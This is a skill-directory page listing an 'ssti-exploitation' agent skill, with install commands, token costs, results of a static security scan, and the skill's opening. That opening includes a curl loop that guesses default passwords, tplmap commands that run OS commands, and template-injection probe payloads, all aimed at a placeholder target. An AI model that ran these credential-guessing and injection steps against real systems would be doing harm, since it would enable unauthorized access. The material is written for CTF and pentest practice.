Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlasnpx agentmods add skills/mingyiseclab/mingyi-atlas/ssti-exploitationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ssti-exploitation)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ssti-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ssti-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ssti-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ssti-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00068 | $0.05040 |
| Opus 5 | $0.00034 | $0.02520 |
| Sonnet 5 | $0.00014 | $0.01008 |
| Haiku 4.5 | $0.00007 | $0.00504 |
Grade A, and why
ssti-exploitation scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
grep -o "subprocess.Popen\|<class '" /tmp/subclasses.txt | wc -l How it starts
The opening of the file, as written. The whole thing — 328 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Template Injection (SSTI)
Exploits template engines that render user input, achieving RCE by injecting template directives.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.
Automated First Pass — tplmap
When run_container_tool exposes tplmap, run one bounded automated pass before deep manual payload iteration. It is most useful after you know the candidate URL/parameter or authenticated endpoint:
tplmap -u 'http://<TARGET>/page?name=test'
tplmap -u 'http://<TARGET>/render' -d 'template=test&name=test'
tplmap -u 'http://<TARGET>/page?name=test' --os-cmd 'id'
If tplmap fingerprints the engine or confirms code execution, use that result to read the flag path or pivot into the engine-specific section below. If it is negative on one field, continue with manual probes across all rendering surfaces; a negative single-parameter tplmap run does not rule out stored SSTI.
Detection — Universal Probes
# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt
# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 328 lines · 68 tokens per session scan A 7c7c26fe2ad9
ssti-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 5,040 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.